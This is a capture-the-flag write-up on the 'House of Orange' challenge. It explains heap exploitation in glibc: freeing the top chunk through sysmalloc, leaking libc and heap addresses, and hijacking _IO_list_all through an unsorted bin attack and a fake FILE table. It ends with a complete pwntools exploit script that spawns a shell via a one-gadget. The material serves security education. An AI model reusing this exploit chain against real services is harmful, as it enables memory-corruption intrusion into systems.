The author of this challenge presents us some awesome exploitation techniques in libc. Technically, this challenge involves two tricks in heap exploitation. One is House-of-Orange, which enables attacker to trigger _int_free even if there is no available free function. Another one is File Stream Oriented Programming, an advanced exploitation technique on FILE structure. Since in HITCON 2017 CTF Quals, a more advanced FSOP was proposed. Therefore, in this post I will mainly discuss House of Orange and mention a bit on FSOP.
There is a very obvious vulnerability in the upgrade function, enabling attacker to write arbitrary bytes in the victim chunk.
This challenge is very hard because of two main reasons:
(1) There are at most 4 chances to create chunk and at most 4 chances to update the chunk.
(2) There is no available option FREE for attacker to directly invoke free.
Because of the two limitations above, it is very difficult to leak the base address of libc and hijack control flow.
The House of Orange takes advantage of the implicit free function in function sysmalloc. There exist some assert statement before _int_free.
/* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */ assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && // Condition 1 prev_inuse (old_top) && // Condition 2 ((unsigned long) old_end & (pagesize - 1)) == 0)); // Condition 3 /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
If those three conditions are satisfied, top chunk will be freed and inserted into unsorted bin.
The info leak in this challenge also requires some tricks. Due to the limitation on the time of BUILD, the intention of each BUILD is very clear as below:
1st Build: Allocate heap
2nd Build: Trigger House of Orange
3rd Build: Trigger unsorted bin attack
4th Build: Hijack control flow
Therefore, our only remaining choice for us is to leak the base address between 2nd Build and 3rd Build. So the 2nd Build must put the address of libc and heap into the memory where we can reach via heap overflow, while triggering House of Orange at the same time. So I decide to allocate to large bin to achieve this goal as below:
0x5619f6e930b0: 0x0000000000000000 0x0000000000000021 0x5619f6e930c0: 0x00005619f6e935f0 0x00005619f6e930e0 //0x00005619f6e935f0 is house info pointer, //0x00005619f6e930e0 is name of house 0x5619f6e930d0: 0x0000000000000000 0x0000000000000511 0x5619f6e930e0: 0x4444444444444444 0x00007f30b1992188 0x5619f6e930f0: 0x00005619f6e930d0 0x00005619f6e930d0
Hijack Control Flow
In this challenge, we only get one change of write-something-anywhere primitive. To be more specific, we can write the address if unsorted bin at any place. To hijack the control to the magic gadget, we corrupt the value at _IO_list_all in order to hijack the virtual function call at 0x7bf50 as below:
An implicit limitation in this challenge is that we can only insert one chunk under our control into the smallbin. We will not directly place the chunk under our control at the place unsorted_chunks(av)+0xd8. Instead, we place the chunk under our control at unsorted_chunks(av)+0x68. Please read the binary of target libc for the reason. After crafting some necessary data and the fake table, we can hijack control flow to our desired target. Luckily, we can use one gadget to solve the challenge. We can also use the method in  to executem system(“/bin/sh”) directly.
from pwn import * DEBUG = int(sys.argv); if(DEBUG == 0): r = remote("126.96.36.199", 23333); elif(DEBUG == 1): r = process("./houseoforange"); elif(DEBUG == 2): r = process("./houseoforange"); gdb.attach(r, '''source ./script.py'''); def build(length, name, price, color): r.recvuntil("Your choice : "); r.sendline("1"); r.recvuntil("Length of name :"); r.sendline(str(length)); r.recvuntil("Name :"); r.send(name); r.recvuntil("Price of Orange:"); r.sendline(str(price)); r.recvuntil("Color of Orange:"); r.sendline(str(color)); def see(): r.recvuntil("Your choice : "); r.sendline("2"); def upgrade(length, name, price, color): r.recvuntil("Your choice : "); r.sendline("3"); r.recvuntil("Length of name :"); r.sendline(str(length)); r.recvuntil("Name:"); r.send(name); r.recvuntil("Price of Orange:"); r.sendline(str(price)); r.recvuntil("Color of Orange:"); r.sendline(str(color)); def exploit(): build(0x28, "A"*0x28, 20, 1); upgrade(0x60, "B"*0x40 + p64(0) + p64(0xf91), 20, 1); build(0x1000, "C"*0x8, 20, 1); build(0x500, "D"*0x8, 20, 1); see(); r.recvuntil("D"*8); leaked = r.recv(6); leakedValue = u64(leaked + "\x00\x00"); log.info("0x%x" % leakedValue); libcBase = leakedValue - 0x3c4188; log.info("libc base address: 0x%x" % libcBase); oneGadgetAddr = libcBase + 0xf0897; upgrade(0x500, "D"*8+"E"*8, 20, 1); see(); r.recvuntil("E"*8); leaked = r.recv(6); leakedValue = u64(leaked + "\x00\x00"); heapAddr = leakedValue; log.info("heap address: 0x%x" % heapAddr); payload = "a"*0x510 + p64(0xdada) + p64(0x20) + p64(0) + p64(0x61) + p64(0xdada) + p64(libcBase + 0x3c4520 - 0x10); payload += p64(0) * 9 + p64(heapAddr+0x700); payload += p64(0)*44 + p64(0x424242424242); payload += p64(0)*4 + p64(1); payload += p64(0)*21 + p64(heapAddr + 0x7e8); payload += p64(0)*4 + p64(oneGadgetAddr); upgrade(0x800, payload, 20, 1); r.recvuntil(":"); r.sendline("1"); r.interactive(); exploit();